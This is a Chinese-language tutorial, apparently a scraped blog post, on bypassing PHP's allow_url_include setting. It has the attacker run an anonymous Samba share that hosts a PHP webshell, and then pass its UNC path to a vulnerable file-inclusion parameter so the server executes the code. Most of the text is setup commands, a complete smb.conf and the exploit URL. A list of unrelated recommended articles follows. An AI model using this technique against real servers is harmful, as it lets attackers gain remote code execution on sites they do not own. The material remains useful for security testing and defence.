前言

文章讲诉了如何绕过远程URL包含限制。在PHP开发环境php.ini配置文件里”,allow_url_include“为“off”的情况下,不允许PHP加载远程HTTP或FTP url包含远程文件。但是使用SMB依旧可以加载。

攻击思路

攻击者需要配置SMB服务器,启用匿名浏览访问。利用有漏洞的PHP代码从SMB共享里访问PHP Webshell。

配置php.ini文件禁用 "allow_url_fopen" 和 "allow_url_include" 。

配置SMB服务器的匿名读访问权

利用有漏洞的PHP程序访问SMB

PHP环境设置

在PHP.ini文件里把 "allow_url_fopen" 和 "allow_url_include" 设为 "Off"。

当前配置PHP版本为“5.5.11”:

确定PHP不允许远程文件包含

试图从远程主机包含PHP Web shell时,应用程序抛出错误并且没有发生RFI。

配置匿名读访问SAMBA服务器(Linux)

使用下面提到的命令安装SAMBA服务器:

创建SMB共享目录(/var/www/html/pub/)

mkdir /var/www/html/pub/

配置SMB共享目录的权限:

chmod 0555 /var/www/html/pub/

chown -R nobody:nogroup /var/www/html/pub/

运行以下提到的命令删除SAMBA服务器配置文件的默认内容

echo > /etc/samba/smb.conf

将下面提到的内容放在'/etc/samba/smb.conf'文件中

[global]

workgroup = WORKGROUP

server string = Samba Server %v

netbios name = indishell-lab

security = user

map to guest = bad user

name resolve order = bcast host

dns proxy = no

bind interfaces only = yes

[ica]

path = /var/www/html/pub

writable = no

guest ok = yes

guest only = yes

read only = yes

directory mode = 0555

force user = nobody

重新启动SAMBA服务器

service smbd restart

成功重新启动SAMBA服务器后,尝试访问SMB共享并确保SAMBA服务器不需要凭据验证。

\\192.168.0.3\

在SMB共享中托管PHP Web shell

在目录'/var/www/html/pub'中托管PHP shell

利用Windows Explorer打开SMB访问 Win+R直接访问。

\\192.168.0.3\ica\

攻击文件包含漏洞参数

利用SMB的php webshell路径传入文件包含漏洞的参数里。

http://vulnerable_application/page.php?page=\\192.168.0.3\ica\box.php

SMB共享中获取Web shell并在应用程序服务器上顺利执行PHP代码,绕过了远程文件包含的限制。

php 怎么远程包含,利用PHP应用程序中的远程文件包含(RFI)并绕过远程URL包含限制...相关推荐

  1. 转:WinForm程序中两份mdf文件问题的解决方法

    在项目中用程序中嵌入mdf文件的方式来进行SQLServer数据库开发非常方便,用来发布开源项目等很方便,点击就可以运行,免部署,特别是在教学中用起来更加方便,老师不用先将数据库文件detach再发给 ...

  2. 编写一个程序,提示用户输入以兆位每秒(Mb/s)为单位的下载速度和以兆字节(MB)为单位的文件大小。程序中应计算文件的下载时间。

    编写一个程序,提示用户输入以兆位每秒(Mb/s)为单位的下载速度和以兆字节(MB)为单位的文件大小.程序中应计算文件的下载时间.注意,这里1字节等于8位.使用float类型,并用/作为除号.该程序要以 ...

  3. 微信小程序中处理PDF文件

    一直在尝试要在微信小程序中处理PDF文件,包括生成PDF文件和检测某个PDF文档的页数,但是微信小程序的接口不支持这个功能,只能是想办法在js文件中实现这个代码,这个代码的实现需要pdf-lib 这个 ...

  4. 微信小程序合成海报_利用微信小程序中Canvas API来合成海报生成组件封装

    每个小程序成型后,一般都会选择生成带菊花码的海报分享出去来吸引更多的流量.下面来介绍下其他的一种实现方式吧 原理:主要利用微信小程序强大的Canvas API来合成,生成后可用wx.canvasToT ...

  5. java中打开文件显示_从java程序中打开任何文件

    在 java中打开文件似乎有点棘手 – 对于.txt文件,必须将File对象与Scanner或BufferedReader对象结合使用 – 对于图像IO,必须使用 ImageIcon类 – 如果要打开 ...

  6. mysql 程序迁移_如何从MySQL数据库程序中迁移数据库文件

    WordPress中文社区发现,很多时候我们在开发WordPress主题的时候,为了方便我们一般都会在自己的本地搭建的服务器环境中开发,比如wampserver或者phpsduty之类的,时间久了,本 ...

  7. 微信小程序中app.js文件、组件、api

    app.js文件: 每个小程序都需要在app.js中调用 App 方法注册小程序实例. App({//App实例化,整个小程序只有一个App实例,全部页面共享onLaunch: function () ...

  8. VB从程序中生成Exe文件

    这篇文章要讨论的是在一个VB程序中如何产生出另一个Exe文件. 要实现这个目的,必须符合以下几个条件: 第一.编写这样的程序时,具备欲生成的Exe文件 第二.事先知道欲生成的Exe文件大小 其实这两个 ...

  9. 远程桌面 域计算机,在AD中实现仅普通域用户可通过远程桌面控制自身计算机

    一用户可以使用远程桌面连接计算机的要求 1.1使用户可以使用远程桌面的四个要求 要想让域用户可以通过远程桌面的功能远程连接计算机,必须满足几个条件: 1.客户端计算机必须开启"允许远程桌面& ...

最新文章

  1. vmstart的用法
  2. 【企业管理】摆脱三个依赖
  3. 系统通知,居然用拉取
  4. SAP Data Intelligence Repository里的模型路径
  5. asp存储过程使用大全
  6. 集合判断哪非空 、2个集合取交集/并集/差集
  7. ntr模式_ntr什么意思?
  8. 程序员如何通过书籍学习编程?小心用错方法,不然可能事倍功半!
  9. 民科微服务小程序怎么注册_民科微服务小程序(医师护士电子化注册系统入口)公众号...
  10. JSON 序列化 与 反序列化
  11. 并发编程(进程与线程)
  12. WinCC7.3 Win764位系统安装教程
  13. 2万字硬核剖析网页自定义字体解析(css样式表解析、字体点阵图绘制与本地图像识别等)
  14. qt -- QTableView
  15. 手把手搭建VuePress文档
  16. j2me之诺基亚S40模拟器
  17. 【sublime】sublime添加浏览器预览快捷键
  18. ffmpeg 合并音视频命令
  19. 科学网—世界上最神奇的30个经典定律——读书笔记 - 贾琳的博文 http://blog.sciencenet.cn/blog-455749-859616.html
  20. 自动驾驶路侧感知定位技术条件

热门文章

  1. springcloud(十一):服务网关 Spring Cloud GateWay 入门
  2. 关于同包不能有同名类
  3. 华为鸿蒙os手机版,华为鸿蒙os2.0系统正式版安装包下载-华为鸿蒙2.0系统手机版v2.0安卓版_289手游网下载...
  4. 网站视频直播中p2p流媒体的应用
  5. java阿里云短信服务SDK使用方法
  6. 英语题目作业(12)
  7. 实习日志(总结一些前端知识)
  8. 西门子plm_历年中国工业软件营收十强厂商:华为、西门子稳居前二名
  9. html5页面弹幕代码,html5新年许愿文字弹幕代码
  10. python 资源站_python资源